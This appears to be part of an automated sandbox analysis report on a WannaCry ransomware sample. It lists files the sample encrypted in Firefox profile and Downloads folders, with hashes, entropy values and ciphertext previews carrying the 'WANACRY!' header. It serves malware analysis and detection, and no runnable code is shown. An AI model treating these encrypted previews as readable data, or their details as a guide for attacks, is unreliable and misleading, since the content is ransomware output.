                                                                                                                                                                              Preview:WANACRY!.....8.h,..W.;.+..a.[...[......]....y...p.y....r...._.d.t...+r+Zp.Zv..:K.f-}.~..+_....#G.y..!...,......5.#.$t..H..]F.&.][..K..L.N.."...i.q..]~w.k^.2HpEA.....I._ .x.$7P.Rn...m..N.p.E.G>....5e=...X.........1)k....X.1o...D.pPx..........d.-Z.gh....:................1..R...6..I..M0m...J.DGW...x...<7(./XP3T..-Q.<Y..C.0\..?dy...t......O...N.FMZm......8.I.$.T/.Qop... .-.o.....d9Ub...3.HWv.Q....po.Xt..U.G2.... ..9o..)=2..VM,F.L.s.D.n...+b.l...4\.O.E.I........k.Wv.C.......q.F......*.V...!.*.d......jm1.....<.......i.,vy..w..Y.Z.0p.1.. . .;......c..{.].^..3.!{Ej.'/.b7P'..#.}/.r.6..Zp|..T..2S..G../K....N...cf.\..D.....6.<....<..] in."et..%.T.SC{)..nL_.(u..;.lJ...P.*..t6q........xbF.r......=.c..Pr.sN....'f.)%.8..Qd...L.l...,.R}......>H\$...a....&H..E...4..g..h....a.................f.oI...!(u....f.ky.....>r....|S........3.Y."@_v$.X.A.N...@.....F...ly.z.d.~.,.......6.u..3\B.........E.j.o.=I#q.q...*.]......5.X4..r6...@.9..-F.>2....k.I=.Hc...-.\.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\key4.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):295192
                                                                                                                                                                              Entropy (8bit):7.999263172481118
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:QQGTjBvbNrnertET+X7m3KD9rXdkholeVGHcLLZTcjrhxhXvCq:yTjBRrer+T+X7Qm+hogQHSejrh7vf
                                                                                                                                                                              MD5:39C1861C6DE10ACEEC6C63F27F939799
                                                                                                                                                                              SHA1:A4112627309BDEFB48B0FA9EB27FA9438DE7B706
                                                                                                                                                                              SHA-256:423BFA51E4EF754C3745328FE29BEA1EF360C958461BE83D91D706C180CB9300
                                                                                                                                                                              SHA-512:CE062F721AA819F89FCDEAA339F60A1397B8946192C211698CB6A0CF1B154B161CB7EA5D08B8F5D517480C8A6E155FCDCCCE8DFA05C68E7DF122E8816CBFDE9F
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....XddjH..l.I.NGO.I(.E+....z......`......0u....$D.....S...Z.a'.t..[/.<.e..%`.o,..e.P.k5..Z.I....`$h\..[...a.....CE^....^t|9..k.........h.`C^.......z.'c.b..dP..n?.v[..#....W2......W..q...Q.Y..DyOh..s.1Ub{U.../!...}{...3E...a...5.(.@..N.%....V...!................{......3KE-.tt....TH....X..>=..g.F`@...Z.....<..b-....;...{...R...;Z..%..#..%.).....,..9......\...+..u..d..2 .*t....MT.`P]...)....|.....l..M......X..E?N...'4.$.>..Pp....m.t..Q.&.SB.Q...x.5Z9|u.L....R..v.8..).s.P..+icp6.p...xg.+m.......E.o...C:.......?..O.1.......W..`.?.vYe.E ...w..x.....{h...+}....5....5.1...V.F...j|]..).-...${.........b..H........rR........n..$..X*AR..l._.{...-4.=I....G^..;O0...-]6.X.)K)xjb.>.cS.|...-...TfX,...\.....p...!..X...@.~.;..`.e..q:.I..)[.J.K..\W4!....... .xxk..g.V..su..1..q.i.,C...>.S..K...5....T..K...R.B.....f7s.i.... .4.w.@.....5.~.y.Gur..F...2<.....zjD..BD..BL6.....}&o.K..J'...(;....; C..=t.E/.....$..Q)..X..G....1....J.Q...u.osJ"G5.'qQ.Ml.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\pkcs11.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):808
                                                                                                                                                                              Entropy (8bit):7.743847470900974
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEh72fHVdq/zA2di7OrYvScaGDyEYX/P26Kaf2PTRTlx3KniwmuiASDQ:bkE72fsA2j2QzEG326KK2BlJKOASDQ
                                                                                                                                                                              MD5:32068D7E25842B53639BC2F9979A05AF
                                                                                                                                                                              SHA1:EAFBA37CD52270C0DCE09DD4BFEE8274667E42F1
                                                                                                                                                                              SHA-256:4C255C30E7C4CC23B24DA517108FD9D5EAC1425898E93A5CF3630C75F5A5E6C5
                                                                                                                                                                              SHA-512:8704AE6BAF823E13784A3F5F5ECC9C590D2BF9980F8D3DA51FFA2682BE86170CC2B7081133D7D0EED2075FDB981CF4AEE93E3AD996FDA8F759ECD59BB166BB04
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........x.L...........R=.......7....2.f.z>e......xH.5J...64)....p[.....6..(_. IXQ&....@.....xvZ....tv`8.........f.5.]n.V.....P|.S...yG"S..T6..'....L........F..+.xB..ry....j.ep..P.w....0........V.;..._..-..)..gJNY...~M.I.H...V...].K.....&&_7X...2............T.L......8!..A.[>......|P.K`........utj.B...7....P.c....Dob.......0.5JT..DM]-.Z}_.Z....Z.X.....].wK1&.r.=.B=..W.-.. ....3v3.>+Z..pr/.mH.@9.fa{...W.{.w.S..i......._.Te4.t.k...h.>.......d.CLV.p.....R77..O24.4.....c...k...o..v4..Ls<.Z..U.=7y9.n.A.j!....LY.d.$".....P7`...yj...)_...!H.+.m......u...^.6Lc..K..L......(......6.I..x...3$%Ut..6..A@.*-..+.:.WQ.....Yk#....0=.h@....=...4.E....O... yY.@2..C.......#...1...{..6....~.O......Z...4.E.......Y.X....G.)9.b....Z..G.-5.l.......k&..qCU...:Eb9?.0K.=..l.n..+.RZ

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\prefs.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):9608
                                                                                                                                                                              Entropy (8bit):7.9814942306849845
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:KFvaDpi+xepzYy9iy6HgZJb+IjS2tUxW9dAhrZxcKs/dgVEGZJeQJxNTx/s:KZatia+YdhHgrFjhqW9d0uGh/eQJxNTK
                                                                                                                                                                              MD5:2F3B5C7DEC292153D28CFCF3B3D9314F
                                                                                                                                                                              SHA1:BC3C4028E7941C070010EB04F10E6EE8FC029E0E
                                                                                                                                                                              SHA-256:1DF5128074C52BFF7D65E4170FC88BC46A1BB4A40BA4793B47E07B878998F86F
                                                                                                                                                                              SHA-512:FF046C1D43B3FE7596E218CA3D127B55649B621D81034ED9513945D252371741DE6F41FC73688EE9A5A9F0FB21673D29715EDC31CECB49482F478EDBF6521AC6
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......Z..&.....tCC.nt.G....R:.....~....9...S..[..>...G.b.._.D.........8.|...q..V.e....T....o.D..i...4..HUP..5A....e2..~}G...quY2.|..yf.K......+.K......:._._....r.D.5b'..9G[.=..b....$~..(.....6*"g-B_m+....'.[.(.XM..Cq...o..P./..Uy.c..>.ZO.....C[..~....f$......b~....:=v.mG...~`.b.N.F...}..D.<,..`H.r....G.A?R.Z"i.H".)...*.y3rrc...l.|..'..NOpCM.XV0..D..{.zA`.W..9So.....82O.^"0.3l+..b.....v.!=j."8..s.%...X3..|6l...HIUPb.]r........O...........N...3.._@.#p....Gu..<n..j...sm*T..h..PO.IR....B.=J..+i....'1.x...7F5...YV'...+mG!+..0.@.;..Q...5.1.g...(9..%F.s..........9...^.?.._.x.Y.C.Q.Qzl.......U..@.L,...V.....sB.yZ...0.<.:.n.s$n...]W..'rl.....>|....zl.L.-...t.Y0e...<.kn..B...>.[hULn....(w...9^......p..i.i..-.:i.....g"z.c.S....V...7~..]6]C....i..ku.&...R`?....u....1..w+..7P..9...d:]...9.....an...4.Q?^........$..>]..\dxv.6_..y..X....4:B. g..\.C.T1..2.c)Ja.k5.`.l..Lc..5..?...~..} X....H.c...M.z!.?..A..2..$..j.u.....b.....l..h8..&...Z.s.......ox.

                                                                                                                                                                              C:\Documents and Settings\user\Desktop\m.vbs.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):488
                                                                                                                                                                              Entropy (8bit):7.559150498737696
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEIAgRZWs4pZBzZQub7KIGGRk2AWENDCZh9haz8/THO7+rEyXaUb:bkt1os4pqub+S6eZhraI/qOb
                                                                                                                                                                              MD5:C47D5BD285EA8D4304A3357D0577EB38
                                                                                                                                                                              SHA1:668398732BF9ED22B98A983FDF22F7B6AC53AF3A
                                                                                                                                                                              SHA-256:8E3B940F83830EF1A16DDC1129A50A300EA9814DB9B0C479C38F973530D5C7E5
                                                                                                                                                                              SHA-512:D7B9B9A50F412F514342A674A5632A55182B02B246858D03052BF43935747E318E03D900E711FDC061A57406B65F4FB2565E024F2760200115138C272F9E88AD
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....@.?...`..;.."R...5..S....\;...7t..a..AI....x4*.........+2.s...SgT).#.8sl.*],R..sq......g@6..N*..E..D3..U S...hW....'...n...-Vh....x..U.c....8.b.......2S..X0....:.h./( ...........j............P;w@......!....../dg\........n).S...=.=....C...%..O.............Q...4+q".f......i...S.8.g"N..x<..@cza.N....'.u=^`.\.....e,..s...k.<..n)...oP|...*<.Z...p;b...)|.....b...3.+[.*a........R..sf.E.....a...5.vJl.X......d=%H............rK......#@|..l~........}./...!Wzp..4

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\BJZFPPWAPT.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.864288506637368
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkjkko6cOlpeRU3iYrI2dbRdtT+zG5GSFBb7pJTEjA1YIuHMVt4QcoCUMY:bkgYERU3LI2ZRfyzgGSFbUcYI0e4QRd1
                                                                                                                                                                              MD5:64728EC53D139C072C16BB9FF6ABF0D1
                                                                                                                                                                              SHA1:9E29FCDE95B8343B8936402E9BDDC25B361E9229
                                                                                                                                                                              SHA-256:3F0BA9C79A53B3F3D3B07663EC76142A51ED97CD1131E08CEB9E773002D5FEDB
                                                                                                                                                                              SHA-512:7C3BB02F6C02BD0BC44646975DEA3E23DA900D9C62386B9362B4BE5D425294A0296E6C4526DC6C96A3E2079260DCEE5A7249AD6BC5A77AE7F3F4EA97915C17D0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......5..J....B.~?.....9..b.o.8...!....V)...g.i....@Q5,k.T.....V....T.4..!H}.c....#....&..S...5f..{.W.AC...~a.D.^.U...kg*........%...z.0.;.P...4.Dr..j~n|...,.xG|.9@.K^..W.'....+n.j...+........gr.I.<.p..j.R.A..c..W/.}..gzdI.y..^To..!. ..~...............[3.Oa..../C...H...s}.R..3.s...0.#.aZ`...;.S(....|._|.}...A(.%a.&v$.Bi..Kj|..L...5.6........x..w...5:.(.....,x.#X.<G..4..F.:...av.....'...E..%........G...`....#f.....~..T., Q....$Zi.&5.J5S*..K.T..gfm...:.[.Z.\.v...0~.i6.Z.......k.....C ..#.!..o}6i\.p.L..a&......Pc..F6h..K*.J.s...w.R8.......&r..._."....R..O.+.EP.Fm.=c.~;>.....f.~}D.&mI%.e....L.M..."2.og][ybe1"(.<.....G5..wVo.q..R..].7.^.L...Z..@]..!.d(h.. .^fr..ha2r..F@.a.O.....g.n.U..O....l.gq..Bt. .<...VZ.3.E**m.h^X.....:2.$Q,]..-.N..i.....yH.l.Id"..'.@{.m.G...s....sf...`.Qt.z....-....8..X..H....%./Bs|.J..~.z..G....~...#............B......:.)...`.Be..'.%.W=....K..x....AG.1)..;.@.B.(JM...`..g..@...O..N.Hn.2Q..spW...~>]@...[

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\BJZFPPWAPT.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8363229893047865
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkaX/3foqS3BPcmJvk2+lRafFQZnUgM8qS+E2YdNa7x+P5w4KB1:bkaX/voRe7itgnUgMZSh2Qk7x+P5wDB1
                                                                                                                                                                              MD5:8D0BA41F60E5982061969F3E08BD60E6
                                                                                                                                                                              SHA1:E6C03D3733A3BABE25324590A65FE2D2DC69B40C
                                                                                                                                                                              SHA-256:16B0DC58FF51C3FF7E1349FBB631235B0CF9E836266AF7BCCBAC098B5CBD80B0
                                                                                                                                                                              SHA-512:56F0F3112FA66DE93A78912D623AB17457DCFCDB9EF24F2FE4E0E15DD5E9167210E41BB9A444CF061305DE3097C37BC89218AA500DE66843A3962BC5E6660AF9
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......:"..{.=...2..G..^v....K...XP.......H.@Y(/..H....S.....r.CK.........=..s...gs<.Ho.C.i..G%O^_..?.H9sL.|..F*A..p.....5..+..k..%....^..0.;..X[..Ys.;Wa..L.. ..&L=..9.3.y.on..LA...5)....e.*l....]..Kn.].;.....$J..V....T...$.n........5{..].%......6............J..u... !.Bz...<#].m.j.[v..0....s..rs.s.....T"z........)...I..?7M.T..i......x<K5....!aOn..K..e.`..a..^E>....o.*m.4.,%x7k....Q..,..g...\.@Z.Y...|..Z....[)....6..E...n1{n..kz.{v.....=.q...L.*..b..K..A.%.....m...)..........5.e&I...,....?.IgL..b...........e...+....78;..1....D..Xm.(.../....r..W.g_b....U[`..-....\.m...e.N...".x.B....c$.._|....=.Z.6...K`..:.k.9~C8..."..>..Ma.-.2[.y@.......((8... ..Dph...........t..T+....84.=..2p~.........".....y..?..|..X..%4..l.....eVf.....@L.T.].....s..A.P..<&.B...7g.......;%.0.W...~...US...P..........V..v;1....r-^..[....s....H.W>.].9..>.^<;!...a...D...a.K....x..g...~..)j*..t....O...&...........b-'.O.........z.q.z<UQ.....1`..<.wQ...(s..gV..cR.....S

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\CZQKSDDMWR.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8332344776447
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkh83fZbcQdYq2E1X/8xBR0z3QQNSe9SIPjsSNUnZNJrnFRVGBOAxqfFUbta:bkqhbFZ2E92BR6gESe91mn3J5rGQ0q9J
                                                                                                                                                                              MD5:F9FAC2C9D8AB056A6B5DC1E3F3424D93
                                                                                                                                                                              SHA1:53617DC9CE889B7C377EA7521885613F801FC2A1
                                                                                                                                                                              SHA-256:DAB5B9ECC27A3F40416C7BEB28D92AFD87B89DDE93C5FD137A4022C53C51BCCD
                                                                                                                                                                              SHA-512:5F9C1698F4F1FFEA04F296CCC382373499A6AD7289B37E051B35AF9AF667BE03B6FF02109CA689B32C0BB4B62D8A1EE4EA2318F62EA85902D93EB580FFEFC18F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....u8T.`.bpB....2.s4Qx.p.:@=.<..T.Y.D.s]..*.T.EBJ,....zP%....J.A9S...v...{~A...2.4...]i.G=..e/)...i.%.p.4T..A..]k.:y...l....#4.......?......Y.....99F............b...$!E.5i.,H.n.2...n.Q.@..{....g......U[=..L..s..BR..<.<.n.p..d.P...../.1IT2.....GE...[............I..m....d...e..2.DJ..*a.=E........ry..N..(..r+..#.....;....).3i.Y..I...*....(..~p..f..`.+...E.....g.j..$....q.J.q..$f.,0..8...N.....,....,i|.k.n..Y.~...Z.m..s.!.K..U...W...m.E.M..f...-.v.'.D..J..y<..xEWmi......U..'.,...Wf0......%..QtF.i......A.M.'Q.ZD..R...d..nK...Dt......d..E..}.!.5.S...x..]L...`@d...H..(j~.9b...3....cnYW3.....5..b.`8...*U9b..M...om...V.[....RprTA..#.....0VGb....n{....1........Z.#n.......w...8.u.........xCb1Z..tr......}g.J-..4Q..Ah...Z.)(h.r...x.V.........^6..8.....\.s.S.`.F}U.fM...9.5.M...e..].CdX....1.]z..y.[h.B.,a.J...r.}.....*.q(t......x........xF.0....V.o..a( g.Z..?/..?..]}...f.:...-T.^.]H..#._D(.^....wy...[y.M..)2Wf...;q.*...C...&..#._..._s.A...-..^..:...

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\DUUDTUBZFW.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.849095315645433
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bktR9oLUiS/HJmhZxzwocGesTslxqkei1nLvv33ahAQlvaOdqXtnm:bktRupSvJsZwAeCsF1D3cKRtnm
                                                                                                                                                                              MD5:58981EEE1D8BF30BE5DD76DEBF33D7C5
                                                                                                                                                                              SHA1:9C55B7DC6E522997F7D0ECEDD5A7A3A73E2F569E
                                                                                                                                                                              SHA-256:284BDE7C66019AB116EB51BC0286725BB5AA4ED66FD3B48D91B8AEC0F1B1DB67
                                                                                                                                                                              SHA-512:0B1BD74539D352BA713A9AE2814E48A3645657F517464DD777BE9AD8FCAF1B4BB9EF0F6A534F656D39BE8D60BDDAC3A8AA2E66046519A750B6E93AA1A43F74D5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....+K..p...............].8i...|.C.0T.h..#..}.H....`!E.1...,Dh.iU..[f.C...n.)...{.JO....V}..'fS...!<......,..+..]'.nf......r:.,6-=..CYR..e..4{..lw).`..'..E5..)...<t~Lp~<...*.K+..m?.^tyR..=.g\...m8O\.,...5my.....o.o7....".......1../...%. .$..]e..Q,.d=.............t....A..Cf......h..G...a..Y...ew..........%...lx.u.. ..S..V~...a'`...Y.....,.5...4..~|L~.=,..L(.H......<.f.......8.k......|BX.L.5.....:.ie...5.V.H...tOlI.=.%..JS......F.j-......V\...*......D..X...R).*..}Z......9.Zu.:....m.k.....)7...wS..)W...Z{8.............v"R....*E.>h.W...70..d....}...DW...y...Q..h.+.E...8n.....}..!`..mP^.E.,...."._...b.....w+...5......6.4[...;9.5.)n..%.9.e....4Aj.;.I..Y.........e........2.....^0..\.h:9bz.....*.@.3|.j .U...v..\.>I..5.k....iq:.;l...{...a...<w.4...=7o@S.C...i.>.N.4o..K 9. ".f..jB.z...v..9.......FR=.*.-..cL'=U..E.g...+..u..c.cB..P>B..|&.....-.............6.g...d.=(.S.;..).)....o..98....+n.b#L...$...$.W.N\.-Y6.......Rz.a.

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\EFOYFBOLXA.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.846570125272633
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkjnHwGZqfFn9eQS4Qg6Ueagk1yuINX+DuDs6nuC8SzNO6iFwsvxDkocMCvkRc:bkjnhE9jS9UeagkEuSXBjl8YriFwGFkd
                                                                                                                                                                              MD5:30EB3660132B18E97151F2E349AE6ECA
                                                                                                                                                                              SHA1:96A1BFC798839327A61765F4E029AADCCF5CF9E7
                                                                                                                                                                              SHA-256:BC355B196ECBD55CBFE24800272D243299AB6E2BCB5C036252B41EB6F8988783
                                                                                                                                                                              SHA-512:ED5DF9D4362DC53153D5DC9BDDE5752B1B56067098029E762D608879DFA5942DB09CEC344FDC6FFDBC411FFB75D1B47F699200A1DBD6CFCFADDCB06E2C2CC056
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....%l...:.e...D...S../.......7...G...?...`...m(`u@.p........i+..DE.l.Li[cz.w.&.....u.q6..W|.....J.1......j...}.r../...........(.[.@.....o..d.......>.B..r...p..&..t....xd.8...V#...Ag.SR....;..7...=x?........\.(O..B/p..3..lw.;...Z`<...o...+..EG.t~]c.8.............>i...|..G.....j..X.....'.H...[c....qt..&...U).n.q8..:...u.u......e..B.;..4.R......A...T......B....!..9'0.MO.1.d0...;7.|.h..8....~k.2C$!{i.7e.ku..c:..?*...Y....XBd.....\..6....:.s..b..nO.N)6..B..-wT.JHA...@.0...H.d.B....<.A.2^2..O.<.......?Q.l5....zF....J......J..kX...M6..R...4nb=|.\H'u .B.u.g.._...h....L..'.,T."..4sg...V..)^.$..@._..RP5NJ{Y.Q..u....w.M..w.w.?..t.....x....S......T9.>A..^.aO|k...Z...h.]C:..2.Y.N..."L....}a..A...\5.....7el..b.c..~~...R.0.....g.y..M.?s.K.e.t..y..pv...Y...#...h?.T.11U.O.w;...mt;.a..tz...0W...6U\x4..y....1.%.*.,.......tahT...{ [.....\..i....^..S....Tqoo.U..AT.\0..XF..B..-8P#...h...e...5V.Y.a..*.@.n@..U.}.6..9li@...1*....`..A$"....p0.$sO.y.Bj..T..U.)

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\EIVQSAOTAQ.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.830573730243901
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkO8c9LysQP8jqtI/wE5hgzavigJyqJHD4MCqH8cDEzWuN+KlvgBKskrAF7PvFO:bkOn9WsQP8jqtOwE5TitqJHD4VqccDEN
                                                                                                                                                                              MD5:1813ED994F68E559044577663B58AC07
                                                                                                                                                                              SHA1:5CC59DCA988642AF229C2BCEABDBE77E45010337
                                                                                                                                                                              SHA-256:DBC0B4C513A69A5043F2FB4D90EE671E5D8CCEF199E71166290177D3147DDD84
                                                                                                                                                                              SHA-512:BE19E43EFE81B88153985354D0CAF0D2BADB7E1427F9710922B4B7AE088EB6939FB4A1773DC287BC2AB26F9E5A1493645CB3172E956DAC07761AA26AFAE4DD37
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....a../...~...............g........~.;.:..P......A....U..x....K-.~Z../.F....%>.^.#HI..3~p.?a...a}.a.i...B;...y.X$.#H........p...I.'..<....$.h....-[.......!........B?lR.Hn..2...A.-.'...a`.=8[...M;.H.B..~..._.zS...K...,....&D..iUE...^.rT.[...c.h.6...................%.:uy.]6b.......jF.De../D4..Z..j .5.7.....JaEt...K.$T+t...l...^*)..U@....Q...._X......,_.....].pi.x.....&qN......,....oJ.G...-y...r..W4]....D......i..{.Cf.-.^h/p...0.R ..g.....h.\..d...n...6....b......<`P.......N.&~.#y.$.9.q.h..;..N.....)...#.....:~..!..dc.....)..I...dpVV0.n.p...L..7.....\.!.R.w.c,.!....vF.<.!q8U.|..Y.qO............W..h:..Za..O....)...i.$....=.P....^.3...c..>~V..p9......A.<Z&....gl..RE)[t.>.p..w........i...M-5.l^u@H...2..B......R.X..a8;v.{%....sT..Z(......9,xj4f.v."..T..Z.s...W.|.n*..85.>.s.I.k.E....XB.q..O.$X......8...q`a...{I...(..wK..X...N.......b..w..d$....c..6.....;.U..f>d..!....M.C.....!.Ai...d.u..7.....],a..(s>O....32.H.F..v,.D...~.wS[...hIn.m....hZE.H

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\EOWRVPQCCS.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.836727229938879
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkMdql3ZSmTAyBfxvkUQyTZ/A3DLi2Q5W46fRHktAoe2RPRIDM4v9SuGvOfPTckq:bkM43ZSIt3XVYfihbkRESp2xRID1v9Sb
                                                                                                                                                                              MD5:5FDA81711E24FCD8274418637C560007
                                                                                                                                                                              SHA1:A1D8EB9FAC13B524267D758BD6114A710DE2A64B
                                                                                                                                                                              SHA-256:F4CFF8EA1459C9EFDDF846FD6F2A888C4606B4E0D5B4CF3F27CF3B61A969F65B
                                                                                                                                                                              SHA-512:CA567B3409F66085C9CCF69B9F9CBBEE31E3E1CEB85380E9F13805921351B51036C108BBC29885EF0CCEB51AF2F80420BADBCBFBBFFCD053BF6C3DC3B8B0B126
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......7..+....WN.t..\......M(...t.` .......Tl....~...>[.K.~.Tl....6..2...+..r..u...K5w.z.".z.6'.Q_y..9..*_.h...3.Jg ...&vT.../Ou.e.*.P c.5..p.(.........U..D.S0*....[.2......q.9........c&.X".X...x.w\...>...~....m.5l".J?. -...CvL.....^"'.R.Ks.X&..................^mf.`cpym....a..Q..z...]..#.R..k....#..^.Dx.SP....N@..(U..B..<Q..Xj..z.i..QZ.O....cW..y.]......&.p.3U.....$.H.}CT...p.=..y..W.(}l~..=>(,8..X9+.T.._.2...$....1......=..%...c.17.c'.G.........*....,.4...E.."}......a..S.9qc..q.%.......E.e...@.p(.9].! ..w.... [vy!r........1...\.".c& oQ.....P.E.v..Y.?...^.....M.ha3.u..E..`......0..4.7.7...B..Q...c.. !(N.b..^F../:?G...@~b;].T.'.....O.d..-...7..._.1.b;..HhA..<.6.].!.../l.|......Y.8....!.n..i...|..d..Tu.p|...m.N.5.h...<(5GY$R7.~.I..h..3..jM..6+.xc.1e..z1...8.9.{...N....w...R.8.....".1s<t.........:'.....J/..V..c.uN...o}gJho|....O...sbJ..]zSb..O..i.......JzR.U.....7;D.7;..W.L\..z(e...A....A.O=J.....!g.]b....|..N$~..Ml...6.J./o....^2+..

                                                                                                                                                                              C:\Documents and Settings\user\Downloads\EOWRVPQCCS.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.838188363595368
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk4j6KB6xjqW/DhynHSJmdkcFhJPZkpaDJhKVOaBSTmxmp8EVdwrARa0lprt:bkAOLLsSCDFhV5DJhufoimp846ERaEf
                                                                                                                                                                              MD5:040E7AFF6E15646A8FD9F44563A41B5E
                                                                                                                                                                              SHA1:DE98B7468850CF0BC360D3C3BC905061C1391953
                                                                                                                                                                              SHA-256:9AC740A4B934DAA7C37ABA720790EF4F24D9E085990ADB9448C6FBC9F61D6980
                                                                                                                                                                              SHA-512:F8ED42B94C73CF3C89678F67E42614B4A57F31C3C8E98AEC81AE75E7C7FE8DC922F3C2B0CD986FC5A01DC5203B9A5FB0462D576A41A396C0663CF766E152C211
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
